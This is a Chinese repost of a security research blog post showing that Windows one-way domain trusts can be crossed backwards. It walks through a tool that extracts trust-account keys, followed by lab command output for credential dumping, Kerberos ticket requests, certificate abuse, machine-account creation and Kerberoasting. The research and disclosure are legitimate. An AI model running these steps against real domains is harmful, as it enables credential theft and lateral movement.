文章总结: 本文揭示了Windows域单向信任关系的安全漏洞,指出攻击者若控制信任域,可提取受信任域对象中的凭据并在受信任域中认证,从而跨越安全边界实施横向移动。这一发现打破了单向信任仅允许单向访问的传统认知,尤其在管理林架构中风险显著。文章提供了工具tdo_dump.py用于远程提取信任密钥,并演示了利用该账户进行LDAP侦察和ADCS攻击等操作。建议重新评估单向信任的安全性设计。 综合评分: 88 文章分类: 渗透测试,红队,内网渗透
谁都不能信:单向信任真的是单向的吗?
lowercase_drm lowercase_drm
securitainment
2026年3月12日 10:24 中国香港
| 原文链接 | 作者 | | — | — | | https://offsec.almond.consulting/trust-no-one_are-one-way-trusts-really-one-way.html | lowercase_drm |
TL;DR:域和林的信任关系是一个广为人知的研究课题。本文不再全面回顾这一主题,而是专注于单向信任:通过一个新工具 tdo_dump.py,可以从信任域 (trusting domain) 中提取用于维护域间信任关系的账户,并利用该账户在受信任域 (trusted domain) 上进行认证。因此,受信任域对象 (trusted domain object) 可用于在 Windows 环境中跨越安全边界实施横向移动。
引言
Microsoft 对单向信任的定义如下 (着重标记为笔者所加):
单向信任是在两个域之间建立的单向认证路径 (信任沿一个方向流动,访问权限则沿相反方向流动)。这意味着在受信任域 (trusted domain)与信任域 (trusting domain)之间的单向信任中,受信任域中的用户或计算机可以访问信任域中的资源。但信任域中的用户无法访问受信任域中的资源。根据创建的信任类型不同,某些单向信任可以是非传递性的,也可以是传递性的。
这一概念非常直观,可以用下图概括:
两个分属不同林的 Windows 域通过单向信任关联在一起:offsec.lol信任 admin.yeah。因此 admin.yeah的账户可以向 offsec.lol进行认证,但反过来则不行……至少理论上如此。
为了维护林间的信任关系,在创建信任时会自动在受信任林上创建一个域账户。该账户的 samaccounttype为 TRUST_ACCOUNT,其 useraccountcontrol默认设置为 PASSWD_NOTREQD和 INTERDOMAIN_TRUST_ACCOUNT。
$ python3 pywerview.py get-adobject -u user -p 'Password123!' -w admin.yeah -t datacenter.admin.yeah --custom-filter '(&(samaccountname=OFFSEC$))'
objectclass: top, person, organizationalPerson, user
cn: OFFSEC$
distinguishedname: CN=OFFSEC$,CN=Users,DC=admin,DC=yeah
instancetype: 4
whencreated: 2026-01-11 22:35:13+00:00
whenchanged: 2026-02-03 10:21:37+00:00
usncreated: 16458
usnchanged: 20596
name: OFFSEC$
objectguid: {50b7d6b3-3841-439a-aa50-746c4c4651ca}
useraccountcontrol: PASSWD_NOTREQD, INTERDOMAIN_TRUST_ACCOUNT
badpwdcount: 0
codepage: 0
countrycode: 0
badpasswordtime: 2026-01-20 13:42:56.589073+00:00
lastlogoff: 1601-01-01 00:00:00+00:00
lastlogon: 2026-02-03 10:21:26.502041+00:00
pwdlastset: 2026-01-19 23:33:57.368069+00:00
primarygroupid: 513
objectsid: S-1-5-21-90235910-180612443-3686036999-1105
accountexpires: 9999-12-31 23:59:59.999999+00:00
logoncount: 30
samaccountname: OFFSEC$
samaccounttype: TRUST_ACCOUNT
objectcategory: CN=Person,CN=Schema,CN=Configuration,DC=admin,DC=yeah
iscriticalsystemobject: True
dscorepropagationdata: 1601-01-01 00:00:00+00:00
lastlogontimestamp: 2026-02-02 23:48:52.505894+00:00
显而易见,在受信任域上拥有 Domain Admins 权限的攻击者可以导出该账户的凭据。
$ secretsdump.py admin.yeah/Administrator:'Soleil123!'@datacenter.admin.yeah -just-dc-user 'OFFSEC$'
Impacket v0.14.0.dev0+20260114.195536.1a876e02 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
OFFSEC$:1105:aad3b435b51404eeaad3b435b51404ee:47465558945703bbe17c0b7a12c0627c:::
[*] Kerberos keys grabbed
OFFSEC$:aes256-cts-hmac-sha1-96:0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
OFFSEC$:aes128-cts-hmac-sha1-96:7235212ba424996d120c9389cb0f158d
OFFSEC$:des-cbc-md5:9d86f852f886f4e9
[*] Cleaning up...
然而,信任域上不会创建任何账户。这是正常行为:信任域无需在受信任域上验证身份,因为受信任域并不反向信任信任域。尽管如此,信任域仍需存储在受信任域上创建的那个账户的密码。因此,在信任域上拥有 Domain admins权限的攻击者可以借此在受信任域上实施横向移动。此前已有至少两篇博文记录了这一攻击方式:通过接管受信任域对象 (trusted domain object),控制了信任域的攻击者可以获得受信任域上的 Domain Users级别访问权限。
受信任域对象
根据文档,密码以明文形式存储在受信任域对象 (TDO) 的 LSAPR_AUTH_INFORMATION结构中。密码也可以以原始 RC4HMAC 密钥的形式存储,但这仅适用于 Windows 域与非 Windows 的、兼容 RFC4120 的 Kerberos 分发域之间建立信任关系的情况,此种情况不在本文讨论范围之内。
目前已有一些工具能够导出受信任域对象,例如 mimikatz 和 ntdissector。
左侧截图展示了在 offsec.lol上导出的 TDO,右侧则是在 admin.yeah上的结果。在信任域一侧,TDO 的 IN部分为空;在受信任域一侧,OUT部分同样为空,这证实了该信任确实是单向的。此外还可以看到,信任密码的历史记录与当前密码一致,说明该信任创建不超过 30 天。
这些工具的主要缺陷在于:无法远程使用,且仅显示域间信任密钥,而不显示 Kerberos 密钥。而实际要使用该账户,需要的恰恰是 TRUST_ACCOUNT(OFFSEC$) 的 Kerberos 密钥。
offsec.lol上 TDO 中存储的密码与 admin.yeah上 OFFSEC$账户的密码完全相同。因此,攻陷信任域的攻击者便可在受信任域上获得有效凭据。所谓单向的 “访问方向” 实际上是双向的 (至少对于这一个账户而言)。
工具
在大多数讨论信任关系的博文中,mimikatz 被用于导出信任域对象。我们决定基于 impacket 编写一个 Python 脚本来实现该攻击:tdo_dump.py。
为了保持简洁并便于调试,我们精简了脚本的操作:仅调用 DRSBind、DRSGetNCChanges和 DRSUnbind。由于 DRSGetNCChanges的调用可能十分复杂,我们在脚本中也对其做了简化处理。因此,运行脚本时需要提供 TDO 的 GUID 以及目标域控制器上 nTDSDSA对象的 GUID。nTDSDSA对象代表域控制器的复制代理。
这两个 GUID 可以通过任意 AD 对象浏览器获取。
$ python3 pywerview.py get-adobject -u user -p 'Password123!' -w offsec.lol -t sevres.offsec.lol -a 'CN=Configuration,DC=offsec,DC=lol' --custom-filter '(&(name=NTDS Settings))' --attributes objectguid distinguishedname
distinguishedname: CN=NTDS Settings,CN=SEVRES,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=offsec,DC=lol
objectguid: {79a82840-4173-4402-8202-77c27639f2f2}
$ python3 pywerview.py get-netdomaintrust -u user -p 'Password123!' -w offsec.lol -t sevres.offsec.lol --full-data
objectclass: top, leaf, trustedDomain
cn: admin.yeah
distinguishedname: CN=admin.yeah,CN=System,DC=offsec,DC=lol
instancetype: 4
whencreated: 2026-01-11 22:35:13+00:00
whenchanged: 2026-01-19 23:32:58+00:00
usncreated: 20508
usnchanged: 40987
showinadvancedviewonly: True
name: admin.yeah
objectguid: {d0547ff6-8f3f-462c-9f2d-11c427320691}
securityidentifier: S-1-5-21-90235910-180612443-3686036999
trustdirection: outbound
trustpartner: admin.yeah
trustposixoffset: 1073741824
trusttype: windows_active_directory
trustattributes: TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, TRUST_ATTRIBUTE_CROSS_ORGANIZATION
flatname: ADMIN
objectcategory: CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=offsec,DC=lol
iscriticalsystemobject: True
dscorepropagationdata: 1601-01-01 00:00:00+00:00
获取到对象后,脚本会依据 Microsoft 的文档对其进行解析。
$ python tdo_dump.py -u Administrator -d offsec.lol -t sevres.offsec.lol --hashes 47465558945703bbe17c0b7a12c0627c --tdo-guid d0547ff6-8f3f-462c-9f2d-11c427320691 --dsa-guid 79a82840-4173-4402-8202-77c27639f2f2 --debug
[+] Calling hept_map: ('E3514235-4B06-11D1-AB04-00C04FC2DCD2', '4.0')
[x] Binding string: ncacn_ip_tcp:10.0.0.1[49668]
[+] Calling DRSBind
[x] Context handle: 00000000990879b0fd0deb42b12527b95d5ade7f
[+] Calling DRSGetNCChanges ford0547ff6-8f3f-462c-9f2d-11c427320691 on 79a82840-4173-4402-8202-77c27639f2f2
[+] Distinguishe name retrieved: CN=admin.yeah,CN=System,DC=offsec,DC=lol
[!] Cannot get trustAuthIncoming forCN=admin.yeah,CN=System,DC=offsec,DC=lol, mostly because it is a one way trust
[+] Dumping trusted domain object: offsec.lol → admin.yeah
admin.yeah:plain_password_hex:53006f006c00650069006c003100320033002100
admin.yeah:aad3b435b51404eeaad3b435b51404ee:47465558945703bbe17c0b7a12c0627c:::
[+] Salt: ADMIN.YEAHkrbtgtOFFSEC
admin.yeah:aes256-cts-hmac-sha1-96:0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
admin.yeah:aes128-cts-hmac-sha1-96:7235212ba424996d120c9389cb0f158d
[+] Dumping inter-realm trust keys
[+] Salt: ADMIN.YEAHkrbtgtOFFSEC.LOL
admin.yeah-Outgoing:aes256-cts-hmac-sha1-96:5b7191449bfb9dfe157958fee011b555d742bb261425d399dd9a408198ed0fa9
admin.yeah-Outgoing:aes128-cts-hmac-sha1-96:2a442fafd283d04687f4be165eb3092b
在典型的 “Windows 域” 场景中,该结构中的密码以明文存储,各类密钥均从该密码派生而来。要派生 Kerberos 域间信任密钥,salt 的计算方式如下:
TRUSTED_DOMAIN_FQDN+ krbtgt+ TRUSTING_DOMAIN_FQDN
在本例中
ADMIN.YEAHkrbtgtOFFSEC.LOL
TRUST_ACCOUNT的 Kerberos 密钥 salt 计算方式如下:
TRUSTED_DOMAIN_FQDN+ krbtgt+ TRUST_ACCOUNT_SAMACCOUNTNAME_WITHOUT_$
在本例中
ADMIN.YEAHkrbtgtOFFSEC
需要注意的是,TDO 账户无法使用 NTLM 认证,只能使用 Kerberos。因此,攻击者一旦获得 TRUST_ACCOUNT的 Kerberos 密钥,便可向受信任域进行认证。在此场景中,域间信任密钥用处不大,因为攻击者已经控制了信任域。
该工具现已发布在 GitHub 上。
影响
如上所述,最主要的影响在于:攻陷信任林即可获得对受信任林的认证访问权限。这打破了人们对单向信任的一贯认知——即单向信任仅允许单方向跨越林安全边界。在单向信任的典型应用场景——”管理林” (administration forest) 架构中,这一问题尤为突出。
大多数需要域账户的常规 AD 攻击都可以利用 TDO 账户在受信任域/林上实施,包括但不限于:
- LDAP 侦察
$ getTGT.py admin.yeah/'OFFSEC$' -dc-ip datacenter.admin.yeah -k -no-pass -aesKey 0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in OFFSEC$.ccache
$ KRB5CCNAME=OFFSEC\$.ccache pywerview get-netuser -u 'OFFSEC$' -k -d admin.yeah -t admin.yeah --username administrator
objectclass: top, person, organizationalPerson, user
cn: Administrator
description: Built-in account foradministering the computer/domain
distinguishedname: CN=Administrator,CN=Users,DC=admin,DC=yeah
instancetype: 4
whencreated: 2026-01-11 22:03:30+00:00
whenchanged: 2026-02-18 10:11:07+00:00
usncreated: 8196
memberof: CN=Group Policy Creator Owners,CN=Users,DC=admin,DC=yeah,
CN=Domain Admins,CN=Users,DC=admin,DC=yeah,
CN=Enterprise Admins,CN=Users,DC=admin,DC=yeah,
CN=Schema Admins,CN=Users,DC=admin,DC=yeah,
CN=Administrators,CN=Builtin,DC=admin,DC=yeah
usnchanged: 20845
name: Administrator
objectguid: {0118293c-3e8b-41c1-8445-178e5a575791}
useraccountcontrol: NORMAL_ACCOUNT
[...]
- AD CS
$ getST.py admin.yeah/'OFFSEC$' -dc-ip datacenter.admin.yeah -k -no-pass -aesKey 0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960 -spn host/datacenter.admin.yeah
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT foruser
[*] Getting ST foruser
[*] Saving ticket in OFFSEC$@[email protected]
$ KRB5CCNAME='OFFSEC$@[email protected]' certipy req -u 'OFFSEC$'@admins.yeah -dc-host admin.yeah -k -no-pass -target datacenter.admin.yeah -ns 10.0.0.1 -dc-ip 10.0.0.2 -debug -ca 'admin-DATACENTER-CA'
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[+] Domain retrieved from CCache: ADMIN.YEAH
[+] Username retrieved from CCache: OFFSEC$
[+] Nameserver: '10.0.0.1'
[+] DC IP: '10.0.0.2'
[+] DC Host: 'admin.yeah'
[+] Target IP: None
[...]
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki formore details
[*] Saving certificate and private key to 'offsec.pfx'
[+] Attempting to write data to 'offsec.pfx'
[+] Data written to 'offsec.pfx'
[*] Wrote certificate and private key to 'offsec.pfx'
$ certipy auth -pfx offsec.pfx -dc-ip 10.0.0.2 -ldap-shell
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] Connecting to 'ldaps://10.0.0.2:636'
[*] Authenticated to '10.0.0.2' as: 'u:ADMIN\\OFFSEC$'
Type helpforlist of commands
# whoami
u:ADMIN\OFFSEC$
- 计算机账户创建
$ getTGT.py admin.yeah/'OFFSEC$' -dc-ip datacenter.admin.yeah -k -no-pass -aesKey 0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in OFFSEC$.ccache
$ KRB5CCNAME=OFFSEC\$.ccache addcomputer.py admin.yeah/'offsec$' -k -no-pass -dc-host datacenter.admin.yeah -computer-name ATTACKCOMPUTER
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account ATTACKCOMPUTER$ with password vjuA8giQYjrC7wt8fo43PgCuF6ixCOw4.
- Kerberoasting
$ KRB5CCNAME=OFFSEC\$.ccache GetUserSPNs.py -k -no-pass admin.yeah/OFFSEC$ -request
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies
[*] Getting machine hostname
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------------- -------------- -------- -------------------------- --------- ----------
http/datacenter.admin.yeah kerberoastable 2026-02-18 14:00:15.664654 <never>
$krb5tgs$23$*kerberoastable$ADMIN.YEAH$admin.yeah/kerberoastable*$a1c4aaa210bbd9cc06ac92606b423a47$b06da5d072ade60969d0ff215599487f735273c082c0916ae6c4281a6aa91b4013cfe7[...]
致谢
tdo_dump.py主要基于以下工作:
- @SAERXCIT 此前的 (非公开) 工作。
- Dirk-jan Mollema 此前的工作与研究。
- impacket 项目及其所有贡献者的工作。
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment lowercasedrm lowercasedrm《谁都不能信:单向信任真的是单向的吗?》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论